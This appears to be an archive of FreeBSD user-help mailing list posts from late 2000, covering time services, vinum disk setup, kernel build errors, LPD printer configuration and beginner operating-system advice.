program) which returns a 32-bit value for the number of seconds since Jan
1, 1900.  It does not appear to be human readable, at least if you telnet
to port 37 but there are programs which will understand it and set your
system's clock accordingly.  A human readable time service is on port 13
("daytime") which returns a standard unix time and date stamp such as
this:

sfisher@shadow:/home/sfisher> telnet localhost 13
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Tue Oct 31 19:52:37 2000
Connection closed by foreign host.

This daytime service can now also be run internally from inetd.  It is
usually recommended that these "tcp small servers" and "udp small servers"
be turned off to avoid DoS type attacks and stick to using a protocol such
as the Network Time Protocol (NTP) which runs on port 123 and has a
special daemon you can run called ntpd or xntpd to serve it.


Steve

On Tue, Oct 31, 2000 at 01:13:08PM -0600, Lu!s Croker wrote:

>    Hi...  what is the function of time server in port 37 ???
>    and which commands runs ???
>    Can anybody help me ???


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On Tuesday, 31 October 2000 at  8:42:25 -0500, Charlie Root wrote:
> Dear freebsd.org,
>    I am PISSED!!! I used to be a winblows user, converted to Linux, and
> ran OpenBSD for a few months. But since I've installed the $49.99
> CompUSA boxed version of FreeBSD 4.0, when I run startx my system
> crashes! Is this what you consider to be "rock-solid stability??"
> Sometimes when I run startx, I get X to work. The other times, my
> system crashes to a point where I need to do a physical powerdown
> of my machine, cause even ctrl-alt-del wont work.
>    I have a pentium 2 300MHz class machine, with an SiS 5598
> video board. Nobody in the chat rooms knows anything about what I'm
> talking about. And I am PISSED!!! OpenBSD was working great (even via an
> ftp install!) But no, FreeBSD wants to be the luser in my box!!
> What should I do to fix this problem???
> Please email me with the fix!

Reinstall OpenBSD.

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Doh! Thanks so much, sorry for such a dumb question. This is so great!

>
>Unless the network is lying to me again, Some Person said:
>
> > Is there a way to secure the console of a FreeBSD box from someone
> > rebooting, weather they pull the plug or CNTRL-ALT-DEL (if not disabled) 
>and
> > issuing a boot -s without having complete root access in single user 
>mode
> > with not password prompt?
>
>sure... in /etc/ttys, read the part about "console" and the "secure"
>keyword.
>
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On Friday,  6 October 2000 at 14:14:15 +0200, Usselmann.M@gmx.net wrote:
> All my mail are returned back to me. See example below.
>
> I use my FreeBSD Server as DSL Router / Gateway via PPPoE to access the
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>
> 213.198.0.60 is mail11.verio.de.
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> Does this mean the DNS setup of verio.de is unhealthy?

Yes.  Verio has a long record of broken reverse DNS mapping.  About a
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On Friday,  6 October 2000 at  8:07:16 -0700, keith@telestream.com wrote:
> Is there a vinum HOWTO somewhere?

Try http://www.vinumvm.org/

> I've read through it all in "The Complete FreeBSD 3rd edition" but
> it all seems so non-intuitive to my way of thinking and I'm puzzled
> to no end now. I'm sure I am missing a step someplace. All I've done
> so far is install two new 4.5Gig scsi drives.  Gone into sysinstall
> and ran the disk label and slice editor on each of the drives then
> ran vinum.
> Here is what I enter into vinum
>
> vinum -> create
>
> #Then I enter this into the vi session.
>
> drive a device /dev/da0s1e
> drive b device /dev/da1s1e
> volume stripe
> plex org striped 512k
> sd length 4300m drive a
> sd length 4300m drive b

Well, the only thing I could fault there would be the stripe size.
You're better off with a stripe size which is not a power of 2; this
spreads the super blocks more evenly.

> When I write quite the vi session this is what vinum says.
>
>
>  3: drive a device /dev/da0s1e
> ** 3 : Invalid argument
>    4: drive b device /dev/da1s1e
> ** 4 : Invalid argument
> 0 drives:
> 1 volumes:
> V stripe                State: down     Plexes:       1 Size:       8600 MB
>
> 1 plexes:
> P stripe.p0           S State: faulty   Subdisks:     2 Size:       8600 MB
>
> 2 subdisks:
> S stripe.p0.s0          State: crashed  PO:        0  B Size:       4300 MB
> S stripe.p0.s1          State: crashed  PO:      512 kB Size:       4300 MB
> vinum ->

Well, it would help if you said which version of FreeBSD you're
running (and possibly some of the other stuff requested at
http://www.vinumvm.org/), but I'd guess either you didn't have any
device nodes for these partitions, or they're not of type Vinum.

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On Friday,  6 October 2000 at 10:52:20 -0700, keith@telestream.com wrote:
> In the man page for vinum it states the following
>
> device devicename -  Specify the device on which the drive resides.
> devicename must be the name of a disk partition, for example /dev/da1e
> or /dev/wd3s2h, and it must be of type vinum. Do not use the c
> partition, which is reserved for the complete disk.
>
> How do I get the device to be of type vinum? In the disk slice editor it
> only allows for a couple different types. 165 for freebsd, 6 for DOS, 131
> for Linux etc. I tried just typing in vinum and it didn't recognise it all
> all.

The "disk slice editor" you're talking about is probably
/stand/sysinstall, and it duplicates the functionality of fdisk.
Specifically, in this example it describes the properties of the
slices /dev/da1s1, /dev/da1s2, /dev/da1s3 and /dev/da1s4.  What you
need is disklabel, which handles the partitions (the letters at the
end of the device names).  But that's in the man page too:

   DRIVE LAYOUT CONSIDERATIONS
     vinum drives are currently BSD disk partitions.  They must be of type
     vinum in order to avoid overwriting data used for other purposes.  Use
     disklabel -e to edit a partition type definition.  The following display
     shows a typical partition layout as shown by disklabel:

     8 partitions:
     #        size   offset    fstype   [fsize bsize bps/cpg]
       a:    81920   344064    4.2BSD        0     0     0   # (Cyl.  240*- 297*)
       b:   262144    81920      swap                        # (Cyl.   57*- 240*)
       c:  4226725        0    unused        0     0         # (Cyl.    0 - 2955*)
       e:    81920        0    4.2BSD        0     0     0   # (Cyl.    0 - 57*)
       f:  1900000   425984    4.2BSD        0     0     0   # (Cyl.  297*- 1626*)
       g:  1900741  2325984     vinum        0     0     0   # (Cyl. 1626*- 2955*)

     In this example, partition g may be used as a vinum partition.  Parti-
     tions a, e and f may be used as UFS file systems or ccd partitions.  Par-
     tition b is a swap partition, and partition c represents the whole disk
     and should not be used for any other purpose.

Greg
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How can I run Russian software on Win98? I read Russian email and write =
in Russian on the computer--that's not the problem. When I install =
Russian software--where the Russian words are supposed to be--there are =
only lines or symbols--no Russian words. I've tried about everything =
there is but no one seems to know what to do. Thanks for any help.
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Ok, first I'll start off by saying that I have the lines

	device		miibus		# MII bus support

uncommented and all the usb stuff commented out. For some damn
reason the build pukes at:

===> aue
cc -O -pipe  -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I-  -I. -I@ -I@/../include  -mpreferred-stack-boundary=2 -c /usr/src/sys/modules/aue/../../dev/usb/if_aue.c
ld  -r -o if_aue.kld if_aue.o
touch __miibus_hack_dep.c
cc -shared -O -pipe  -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes  -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual  -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I-  -I. -I@ -I@/../include  -mpreferred-stack-boundary=2 -o miibus __miibus_hack_dep.c
/usr/lib/crtbeginS.o: In function `_init':
/usr/lib/crtbeginS.o(.init+0x0): multiple definition of `_init'
/usr/lib/crti.o(.init+0x0): first defined here
/usr/lib/crtbeginS.o: In function `_fini':
/usr/lib/crtbeginS.o(.fini+0x0): multiple definition of `_fini'
/usr/lib/crti.o(.fini+0x0): first defined here
*** Error code 1

Stop in /usr/src/sys/modules/aue.




WHY IS THIS HAPPENING?! I dont get why its even trying to
build the module. Here is my damn config file:






# $FreeBSD: src/sys/i386/conf/GENERIC,v 1.246.2.19 2000/10/29 11:05:45 non Exp $
machine         i386
#cpu            I386_CPU
#cpu            I486_CPU
#cpu            I586_CPU
#cpu            I586_CPU
cpu             I686_CPU
ident           LUCKY
maxusers        32

#makeoptions    DEBUG=-g                #Build kernel with gdb(1) debug symbols

options         MATH_EMULATE            #Support for x87 emulation
options         INET                    #InterNETworking
#options        INET6                   #IPv6 communications protocols
options         FFS                     #Berkeley Fast Filesystem
options         FFS_ROOT                #FFS usable as root device [keep this!]
options         SOFTUPDATES             #Enable FFS soft updates support
options         MFS                     #Memory Filesystem
options         MD_ROOT                 #MD is a potential root device
#options        NFS                     #Network Filesystem
#options        NFS_ROOT                #NFS usable as root device, NFS requiredoptions         MSDOSFS                 #MSDOS Filesystem
options         CD9660                  #ISO 9660 Filesystem
options         CD9660_ROOT             #CD-ROM usable as root, CD9660 required
options         PROCFS                  #Process filesystem
options         COMPAT_43               #Compatible with BSD 4.3 [KEEP THIS!]
#options        SCSI_DELAY=15000        #Delay (in ms) before probing SCSI
options         UCONSOLE                #Allow users to grab the console
options         USERCONFIG              #boot -c editor
options         VISUAL_USERCONFIG       #visual boot -c editor
options         KTRACE                  #ktrace(1) support
options         SYSVSHM                 #SYSV-style shared memory
options         SYSVMSG                 #SYSV-style message queues
options         SYSVSEM                 #SYSV-style semaphores
#options        P1003_1B                #Posix P1003_1B real-time extensions
#options        _KPOSIX_PRIORITY_SCHEDULING
options         ICMP_BANDLIM            #Rate limit bad replies
options         KBD_INSTALL_CDEV        # install a CDEV entry in /dev
options         IPFIREWALL
options         IPFIREWALL_VERBOSE
options         IPFIREWALL_DEFAULT_TO_ACCEPT
options         TCP_DROP_SYNFIN         #drop TCP packets with SYN+FIN
options         TCP_RESTRICT_RST        #restrict emission of TCP RST
# To make an SMP kernel, the next two are needed
#options        SMP                     # Symmetric MultiProcessor Kernel
#options        APIC_IO                 # Symmetric (APIC) I/O

device          isa
device          eisa
device          pci
# Floppy drives
device          fdc0    at isa? port IO_FD1 irq 6 drq 2
device          fd0     at fdc0 drive 0
device          fd1     at fdc0 drive 1

# ATA and ATAPI devices
device          ata0    at isa? port IO_WD1 irq 14
device          ata1    at isa? port IO_WD2 irq 15
device          ata
#device         atadisk                 # ATA disk drives
device          atapicd                 # ATAPI CDROM drives
#device         atapifd                 # ATAPI floppy drives
#device         atapist                 # ATAPI tape drives
options         ATA_STATIC_ID           #Static device numbering
#options        ATA_ENABLE_ATAPI_DMA    #Enable DMA on ATAPI devices

# SCSI Controllers
#device         ahb             # EISA AHA1742 family
#device         ahc             # AHA2940 and onboard AIC7xxx devices
#device         amd             # AMD 53C974 (Teckram DC-390(T))
#device         isp             # Qlogic family
#device         ncr             # NCR/Symbios Logic
#device         sym             # NCR/Symbios Logic (newer chipsets)
#options                SYM_SETUP_LP_PROBE_MAP=0x40
                                # Allow ncr to attach legacy NCR devices when
                                # both sym and ncr are configured

#device         adv0    at isa?
#device         adw
#device         bt0     at isa?
#device         aha0    at isa?
#device         aic0    at isa?
#
#device         ncv             # NCR 53C500
#device         nsp             # Workbit Ninja SCSI-3
#device         stg             # TMC 18C30/18C50
#
# SCSI peripherals
#device         scbus           # SCSI bus (required)
#device         da              # Direct Access (disks)
#device         sa              # Sequential Access (tape etc)
#device         cd              # CD
#device         pass            # Passthrough device (direct SCSI access)

# RAID controllers interfaced to the SCSI subsystem
#device         asr             # DPT SmartRAID V, VI and Adaptec SCSI RAID

#device         dpt             # DPT Smartcache - See LINT for options!
#device         mly             # Mylex AcceleRAID/eXtremeRAID

# RAID controllers
#device         ida             # Compaq Smart RAID
#device         amr             # AMI MegaRAID
#device         mlx             # Mylex DAC960 family
#device         twe             # 3ware Escalade

# atkbdc0 controls both the keyboard and the PS/2 mouse
device          atkbdc0 at isa? port IO_KBD
device          atkbd0  at atkbdc? irq 1 flags 0x1
device          psm0    at atkbdc? irq 12

device          vga0    at isa?

# splash screen/screen saver
pseudo-device   splash

# syscons is the default console driver, resembling an SCO console
device          sc0     at isa? flags 0x100

# Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver

#device         vt0     at isa?
#options        XSERVER                 # support for X server on a vt console
#options        FAT_CURSOR              # start with block cursor
# If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines
#options        PCVT_SCANSET=2          # IBM keyboards are non-std

# Floating point support - do not disable.
device          npx0    at nexus? port IO_NPX irq 13

# Power management support (see LINT for more options)
#device         apm0    at nexus? disable flags 0x20 # Advanced Power Management
# PCCARD (PCMCIA) support
#device         card
#device         pcic0   at isa? irq 0 port 0x3e0 iomem 0xd0000
#device         pcic1   at isa? irq 0 port 0x3e2 iomem 0xd4000 disable

# Serial (COM) ports
device          sio0    at isa? port IO_COM1 flags 0x10 irq 4
device          sio1    at isa? port IO_COM2 irq 3
device          sio2    at isa? disable port IO_COM3 irq 5
device          sio3    at isa? disable port IO_COM4 irq 9

# Parallel port
device          ppc0    at isa? irq 7
device          ppbus           # Parallel port bus (required)
device          lpt             # Printer
#device         plip            # TCP/IP over parallel
device          ppi             # Parallel port interface device
#device         vpo             # Requires scbus and da


# PCI Ethernet NICs.
#device         de              # DEC/Intel DC21x4x (``Tulip'')
#device         fxp             # Intel EtherExpress PRO/100B (82557, 82558)
#evice          tx              # SMC 9432TX (83c170 ``EPIC'')
#evice          vx              # 3Com 3c590, 3c595 (``Vortex'')
#device         wx              # Intel Gigabit Ethernet Card (``Wiseman'')

# PCI Ethernet NICs that use the common MII bus controller code.
# NOTE: Be sure to keep the 'device miibus' line in order to use these NICs!
device          miibus          # MII bus support
device          dc              # DEC/Intel 21143 and various workalikes
#device         pcn             # AMD Am79C79x PCI 10/100 NICs
#device         rl              # RealTek 8129/8139
#device         sf              # Adaptec AIC-6915 (``Starfire'')
#device         ste             # Sundance ST201 (D-Link DFE-550TX)
#device         tl              # Texas Instruments ThunderLAN
#device         vr              # VIA Rhine, Rhine II
#device         wb              # Winbond W89C840F
#device         xl              # 3Com 3c90x (``Boomerang'', ``Cyclone'')

# ISA Ethernet NICs.
#device         ed0     at isa? port 0x280 irq 10 iomem 0xd8000
#device         ex
#device         ep
#device         fe0     at isa? port 0x300
# WaveLAN/IEEE 802.11 wireless NICs. Note: the WaveLAN/IEEE really
# exists only as a PCMCIA device, so there is no ISA attatement needed
# and resources will always be dynamically assigned by the pccard code.
#device         wi
# Aironet 4500/4800 802.11 wireless NICs. Note: the declaration below will
# work for PCMCIA and PCI cards, as well as ISA cards set to ISA PnP
# mode (the factory default). If you set the switches on your ISA
# card for a manually chosen I/O address and IRQ, you must specify
# those paremeters here.
#device         an
# Xircom Ethernet
#device         xe
## The probe order of these is presently determined by i386/isa/isa_compat.c.
#device         ie0     at isa? port 0x300 irq 10 iomem 0xd0000
##device                le0     at isa? port 0x300 irq 5 iomem 0xd0000
#device         lnc0    at isa? port 0x280 irq 10 drq 0
#device         cs0     at isa? port 0x300
#device         sn0     at isa? port 0x300 irq 10
#
# Pseudo devices - the number indicates how many units to allocated.
pseudo-device   loop            # Network loopback
pseudo-device   ether           # Ethernet support
pseudo-device   sl      1       # Kernel SLIP
pseudo-device   ppp     1       # Kernel PPP
#pseudo-device  tun             # Packet tunnel.
pseudo-device   pty             # Pseudo-ttys (telnet etc)
pseudo-device   md              # Memory "disks"
#pseudo-device  gif     4       # IPv6 and IPv4 tunneling
#pseudo-device  faith   1       # IPv6-to-IPv4 relaying (translation)

# The `bpf' pseudo-device enables the Berkeley Packet Filter.
# Be aware of the administrative consequences of enabling this!
pseudo-device   bpf             #Berkeley packet filter

# USB support


# USB support
#device         uhci            # UHCI PCI->USB interface
#device         ohci            # OHCI PCI->USB interface
device          usb             # USB Bus (required)
#device         ugen            # Generic
#device         uhid            # "Human Interface Devices"
#device         ukbd            # Keyboard
#device         ulpt            # Printer
#device         umass           # Disks/Mass storage - Requires scbus and da
#device         ums             # Mouse
# USB Ethernet, requires mii
#device         aue             # ADMtek USB ethernet
#device         cue             # CATC USB ethernet
#device         kue             # Kawasaki LSI USB ethernet
#
#SOUND
device          pcm

	

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I have read things from the FreeBSD webpage, archived mailing list
posts, and /usr/src/UPDATING. The proper way to build world and build a
kernel from source is different in each of these. I am getting rather
frustrated trying to figure all of this out. It seems that most peoples
attitudes are "do whatever works". Well none of it seems to be working
for me.  Last week I was able to do a "make world" just as I had always
done it but that doesnt seem to work anymore. I am running FreeBSD
4.1.1-Stable and would like to know the proper way to build world and a
kernel for this week. Thanks you.



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On Tuesday, 31 October 2000 at 22:58:25 -0600, leoric@home.com wrote:
> I have read things from the FreeBSD webpage, archived mailing list
> posts, and /usr/src/UPDATING. The proper way to build world and build a
> kernel from source is different in each of these.

I'd be interested to know what discrepancies you found.  So will the
maintainers of the respective documents.

> I am getting rather frustrated trying to figure all of this out. It
> seems that most peoples attitudes are "do whatever works". Well none
> of it seems to be working for me.  Last week I was able to do a
> "make world" just as I had always done it but that doesnt seem to
> work anymore. I am running FreeBSD 4.1.1-Stable and would like to
> know the proper way to build world and a kernel for this
> week. Thanks you.

1.  Subscribe to the FreeBSD-stable mailing list.
2.  Read the messages.
3.  If you get no other information, use:

      make world

4.  If you run into trouble, ask the FreeBSD-stable mailing list.
    Give details.

In this case, we've just had a somewhat regrettable problem with
-STABLE.  It was preceded by a "HEADS UP" message in the mailing list,
so you should have half expected problems.  I think it's fixed now.

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Mike Meyer wrote:
> 
> Tony Johnson writes:
> > Check /etc/make.conf.  Also check /etc/default for default make options.
> > The cc/gcc programs control switches with program builds.  As far as
> > experimenting with optimization and debugging options , don't do it.  I've
> > done this and it has done nothing but made unbootable kernels and core
> > dumping programs.
> 
> The flags for make in /usr/src are listed at the top of
> /usr/src/Makefile.inc1. The one you want is -DNOCLEAN.

Thanks, I found it. I was thinking that they should be listed in the handbook or
a tuturial until I found them and realized thats its mostly stuff that you can
shoot yourself with. I do still think that -DNOCLEAN should be mentioned in the
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On Tue, Oct 31, 2000 at 11:09:25PM -0500, Erlon Bailey wrote:
> How can I run Russian software on Win98? 
Where? 

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Help, please!

As a newcomer to any kind of computing, and as one who'd like to get =
away from Windows, what is the easiest way to start with Freebsd?

I've tried to trace a plain English book on the subject without success.

Is Freebsd suitable for beginners?  Could I run the normal =
wordprocessing, database, and spreadsheet applications with it?


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On Tue, Oct 31, 2000 at 09:16:41AM -0800, Sean Peck wrote:
> Is Java 2 available for FreeBSD yet?  Or is their an ETA on when it will
> be?
/usr/ports/java/jdk12-beta

But unfortunately Sun does not allow download source into Russia :-( - This
is my crying?

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> 
> I've tried to trace a plain English book on the subject without success.
> 
> Is Freebsd suitable for beginners?  Could I run the normal =
> wordprocessing, database, and spreadsheet applications with it?

It would be interesting to see you try it;-)

I've given it a quick trial; my plan was to build a small server based on it.

My feeling is that it's not a good choice for beginners; if you want to get 
away from broken windows, I think you will find a major Linux distribution 
more to your liking.

I use Red Hat linux; Red Hat 7.0 was released 2-3 weeks ago, and Mandrake 7.2 
about one week ago.

If you chose one of those, you should find it installs easily, and if you get 
anything more than the most basic package, it will have StarOffice for word 
processing etc. And probably Koffice too.


I think you will find hardware support on Linux better too. For example, I 
have a M/b with UMDA/66 interfaces. Linux recognises that, but FreeBSD thinks 
they're UDMA/33.

I saw a report of someone who installed Mandrake 7.1 (just superceded) and 
Windows ME on the same system. Said Mandrake went better.




 
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On Tue, Oct 31, 2000 at 10:46:03AM -0600, Matt Bettinger wrote:
> Ok i had the STABLE files burned onto cd for use later on or to bring
> another computer up to STABLE.  I guess i burned the cd the wrong way.  It
> just can't make build world from it on my other machine.  It says stop
> don't know how to make obj.  Anyway.  i RE-Cvsupped the files  they are in
Ok, I do this way:
mv /usr/src  /usr/src.orig
cp -R /cdrom/src /usr 
rm -fr /usr/obj/*
cd /usr/src


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Can anyone comment on the usability of AOL's AIM (beta) release for Linux
running on their FreeBSD boxes ?

I pulled a non-RPM version down today & installed it
under /compat/linux/..., only to find that it needs GTK+
(linux_base-6.1 includes a glib RPM, but no gtk+).
After finding gtk & glib RPMs from RH-6.2 & getting them installed
(also under /compat/linux/), I am now confronted with the following:

aim: error in loading shared libraries:
	libgtk-1.2.so.0: ELF file OS ABI invalid.

Brandelf(1) reports that this file is of type "Linux",
and there is no LD_LIBRARY_PATH defined.
Also, truss(1) reports that "/usr/lib/libgtk-1.2.so.0" is opened.

Pointers and/or suggestions are appreciated.

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Quick workaround, the packaged ncftp, ncftp2 or ncftp3 default to quickly
log you in as anonymous...

On Tue, 31 Oct 2000, George Reid wrote:

> On Tue, 31 Oct 2000, Oliver Mills wrote:
> 
> > I have been trying to get into the sendmail FTP site
> > (ftp://ftp.sendmail.org/pub/sendmail/sendmail.8.11.1.tar.gz) through
> > the FreeBSD shell prompt but i have been unable to do so as it asks me
> > for a password, I have been into this ftp site using IE5 and have had
> > no dificulty what so ever.
> 
> Use username anonymous, password is your e-mail address; that is
> standard anonymous FTP. Micro$oft IE does this automatically.
> 
> G
> ---
> "And then it comes to be that the soothing light
>    at the end of your tunnel was just a freight
>             train, comin' your way."
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We generally don't do windows around here, but I hear that the Russian
support in FreeBSD is excellent (or will be once we get that Russian kid a
better computer--long story for a pathetic joke... :)

On Tue, 31 Oct 2000, Erlon Bailey wrote:

> How can I run Russian software on Win98? I read Russian email and write in Russian on the computer--that's not the problem. When I install Russian software--where the Russian words are supposed to be--there are only lines or symbols--no Russian words. I've tried about everything there is but no one seems to know what to do. Thanks for any help.
> Erlon
> 

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A friend at another site on campus didn't think it was at all
unsettling that he chose, after months of uptime, to reboot his server
on Halloween to get rid of zombies.

- -d

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Marc Silver wrote:

>Try (if possible, and if it's there) to find the parent pid for this
>process.  Killing that may release the children processes from whatever
>wait state they're currently in.  :)
>
>Cheers,
>Marc
>
>On Tue, Oct 31, 2000 at 07:39:42PM +0200, Joel Bjork wrote:
>> I have a couple of processes stuck in this state:
>> 
>> moster 81345  0.0  1.0  1112  720  ??  Ds   Fri03PM
>> 
>> kill nor kill -9 works, is there any way to kill these processes short of
>> rebooting the machine?
>> 
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>> E-Mail: Joel Bjork <u98jobj@stud.hh.se>
>> Date: 31-Oct-00
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Hello everybody,

I have about 50 machines (spread over 4 continents) running FreeBSD in  
various versions from 3.2 to 3.5. For various reasons I would like to  
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- remote upgrade from 3.x to 4.x is a tricky procedure
- not all of the systems may have enough diskspace for a full system build
- bandwidth to some of the systems is quite limited (64 kbsec with a  
little packet loss)

On the plus side, all systems have a second disk (identical to the  
first) that I could use to move a new system to, then have someone just  
swap the disks.

So I am thinking of bulding a minimal system, the sending it as a  
compressed tarball, have an install script put a system from it onto  
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Anyone done something like this and care to share experiences? Or  
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Hello,

	I'm trying to set up printing from my FreeBSD 4.1.1 Release box.
I'm getting very confused with the instructions in the handbook (Section
9.4.3.1)  Here's my setup:  I have two Macintosh computers and my FreeBSD
box and an HP Laserjet 2100M (with the jetdirect NIC which does
understand lpd) all connected by a hub to a lynksys router.  I have a
static IP and all the computers and the printer are configured using DHCP
(only because I don't understand IP addressing enough to do other wise.)
	Currently the local address of the printer is 192.168.1.100.  By
telneting to it I find:
HP JetDirect
Please type "?" for HELP, or "/" for current settings
> /
   ===JetDirect Telnet Configuration===
        Firmware Rev.   : G.07.20
        MAC Address     : 00:10:83:77:c1:17
        Config By       : DHCP
 
        IP Address      : 192.168.1.100
        Subnet Mask     : 255.255.255.0
        Default Gateway : 192.168.1.1
        Syslog Server   : Not Specified
        Idle Timeout    : 90 Seconds
        Set Cmnty Name  : Not Specified
        Host Name       : NPI77C117

And here's what I tried in the printcap file:
hplj2100:|text|hewlett packard laserjet 2100m:\
        :lp=:rm=NPI77C117:rp=hplj2100:sd=/var/spool/output/lpd/hplj2100:

I know that's not right since:
%lp -d hplj2100 ./foo
(no output from printer, but I do see lights on the hub blink)

but is it in the spool?    Files do appear in the spool directory
%lpq
lpq: printer not found
%lpq hplj2100
lpq: printer not found
%lpq text
lpq: printer not found

Any help would be greatly appreciated.  I tried reading the termcap and
printcap man pages but they were confusing too.  I bet this is really
simple once you understand it but I'm pretty confused by the instructions
because they mostly seem to apply to a printer attached to host computer.
Thanks in advance,
						Tim



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I concur.  FreeBSD is not for the faint of heart.  You might want to try
Storm Linux or SuSe 7 which are far, far better than RedHat or Mandrake.


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> > As a newcomer to any kind of computing, and as one who'd like to get =
> > away from Windows, what is the easiest way to start with Freebsd?
> >
> > I've tried to trace a plain English book on the subject without success.
> >
> > Is Freebsd suitable for beginners?  Could I run the normal =
> > wordprocessing, database, and spreadsheet applications with it?
>
> It would be interesting to see you try it;-)
>
> I've given it a quick trial; my plan was to build a small server based on
it.
>
> My feeling is that it's not a good choice for beginners; if you want to
get
> away from broken windows, I think you will find a major Linux distribution
> more to your liking.
>
> I use Red Hat linux; Red Hat 7.0 was released 2-3 weeks ago, and Mandrake
7.2
> about one week ago.
>
> If you chose one of those, you should find it installs easily, and if you
get
> anything more than the most basic package, it will have StarOffice for
word
> processing etc. And probably Koffice too.
>
>
> I think you will find hardware support on Linux better too. For example, I
> have a M/b with UMDA/66 interfaces. Linux recognises that, but FreeBSD
thinks
> they're UDMA/33.
>
> I saw a report of someone who installed Mandrake 7.1 (just superceded) and
> Windows ME on the same system. Said Mandrake went better.
>
>
>
>
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> >
> > Thanks,
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> > with=20
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> > <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> > <DIV><FONT face=3DArial size=3D2>Thanks,</FONT></DIV>
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yup.  i had an SiS 6326 and replaced it with a Matrox G200 AGP.  solved my
problems!

and your problems is with X not *BSD nor Linux.


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> On Tue, 31 Oct 2000, Charlie Root wrote:
>
> >    I have a pentium 2 300MHz class machine, with an SiS 5598 video
> > board.
>
> There's your problem.  SiS stuff is crap.  And besides, it wouldn't be
> FreeBSD's problem, it's XFree86's.
>
>
> -- Chris Dillon - cdillon@wolves.k12.mo.us - cdillon@inter-linc.net
>    FreeBSD: The fastest and most stable server OS on the planet.
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Wow, as a true newcomer to computers I'd say FreeBSD would be quite a
stretch (How'd you find us? :)

But it could be done if you were willing to be patient enough.
In exchange for a tough learning curve at the start you would be rewarded
with a very powerful, stable system.

I might get flak for saying this but I think you should get a macintosh
with MacOS X on it.  It will be very easy to use but will have a FreeBSD
like core under the hood.

comments below also

On Wed, 1 Nov 2000, Anthony J Knapp wrote:

> Help, please!
> As a newcomer to any kind of computing, and as one who'd like to get
> away from Windows, what is the easiest way to start with Freebsd?

Well, install it first.  Maybe get a computer savvy friend to install it
for you.  Or buy a system that has it already on it.  Once it is installed
if you use one of the desktops like KDE or GNOME you should be ok

> I've tried to trace a plain English book on the subject without success.

There are two:  "The Complete FreeBSD" by Lehey
and the "FreeBSD Handbook"
> 
> Is Freebsd suitable for beginners?  Could I run the normal 
> wordprocessing, database, and spreadsheet applications with it?

You wouldn't be able to run the applications that everybody else
(Windows) uses, but there are such applications for FreeBSD.

> Thanks,
> 
> 
> Tony Knapp (membership no 20001001)

	I commend your courage.  If you really poured through those books
and the website (www.freebsd.org) you might just be able to do it.  Good
luck.  It would be a worthy adventure.

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> > >
> > >
> > > > On Tue, 31 Oct 2000, Sergey Gorbunov wrote:
> > > >
> > > > > Hello
> > > > > after i change kernel (boot -c >visual > quit+ save) all
> > > orderly, but after
> > > > > rebooting kernel forgets all changes
> > > > >
> > > * Tim McMillen <timcm@umich.edu> [001031 07:12] wrote:
> > > >
> > > >
> > > > That is the proper behavior.  The kernel configurator (boot
> -c) is a one
> > > > time thing.  It is meant to be able to disable certain things
> > > for testing
> > > > and such.   To make it permanent, you have to create a new kernel.
> > >
> > > You can set these parameters permanently by adding them to
> > > /boot/kernel.conf
> >
> > Ok, but i want to buil kernel with many devices (some of devices are
> > incompatible with other)
> > later i install my kernel in one server and enable some devices
> and install
> > in another server and
> > enable other devices
> > presently I have a customised  distribution FreeBSD 2.2.6 and in visual
> > configuration I can correct all that want and this will remain
> for ever but
> > I want to do such distribution from version 4.0
>
> Whatever you set during the initial install should be written to
> /boot/kernel.conf, if you want to later change that configuration
> you'll need to update /boot/kernel.conf
>
> -Alfred
>

what to do so that change under boot -c were written in /boot/cernel.conf
automatically ?

Best regards,
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It would be wise to have the printer on static ip.  Why?  Because either you
**always** enter the printer's ipaddress in the /etc/hosts file (if you want
to use the name like NPI77C117) or /etc/printcap (by ip address).

So, is NPI77C117 in your hosts file?  What is the queue that your printer is
using?  You need that too.


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>
> Hello,
>
> I'm trying to set up printing from my FreeBSD 4.1.1 Release box.
> I'm getting very confused with the instructions in the handbook (Section
> 9.4.3.1)  Here's my setup:  I have two Macintosh computers and my FreeBSD
> box and an HP Laserjet 2100M (with the jetdirect NIC which does
> understand lpd) all connected by a hub to a lynksys router.  I have a
> static IP and all the computers and the printer are configured using DHCP
> (only because I don't understand IP addressing enough to do other wise.)
> Currently the local address of the printer is 192.168.1.100.  By
> telneting to it I find:
> HP JetDirect
> Please type "?" for HELP, or "/" for current settings
> > /
>    ===JetDirect Telnet Configuration===
>         Firmware Rev.   : G.07.20
>         MAC Address     : 00:10:83:77:c1:17
>         Config By       : DHCP
>
>         IP Address      : 192.168.1.100
>         Subnet Mask     : 255.255.255.0
>         Default Gateway : 192.168.1.1
>         Syslog Server   : Not Specified
>         Idle Timeout    : 90 Seconds
>         Set Cmnty Name  : Not Specified
>         Host Name       : NPI77C117
>
> And here's what I tried in the printcap file:
> hplj2100:|text|hewlett packard laserjet 2100m:\
>         :lp=:rm=NPI77C117:rp=hplj2100:sd=/var/spool/output/lpd/hplj2100:
>
> I know that's not right since:
> %lp -d hplj2100 ./foo
> (no output from printer, but I do see lights on the hub blink)
>
> but is it in the spool?    Files do appear in the spool directory
> %lpq
> lpq: printer not found
> %lpq hplj2100
> lpq: printer not found
> %lpq text
> lpq: printer not found
>
> Any help would be greatly appreciated.  I tried reading the termcap and
> printcap man pages but they were confusing too.  I bet this is really
> simple once you understand it but I'm pretty confused by the instructions
> because they mostly seem to apply to a printer attached to host computer.
> Thanks in advance,
> Tim
>
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On Wed, 1 Nov 2000, Rino Mardo wrote:

> It would be wise to have the printer on static ip.  Why?  Because either you

I know I want static but I don't know how.

> **always** enter the printer's ipaddress in the /etc/hosts file (if you want
> to use the name like NPI77C117) or /etc/printcap (by ip address).
> 
> So, is NPI77C117 in your hosts file?  

	Huh?  I didn't see anything about this in the handbook.  What
syntax do I use to add it?

> What is the queue that your printer is using?  You need that too.

	queue? I don't know, how would I find out?  What would I do with
it once I did?
Thanks for the quick reply.
					Tim

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> ----- Original Message -----
> From: "Tim McMillen" <timcm@umich.edu>
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> 
> 
> >
> > Hello,
> >
> > I'm trying to set up printing from my FreeBSD 4.1.1 Release box.
> > I'm getting very confused with the instructions in the handbook (Section
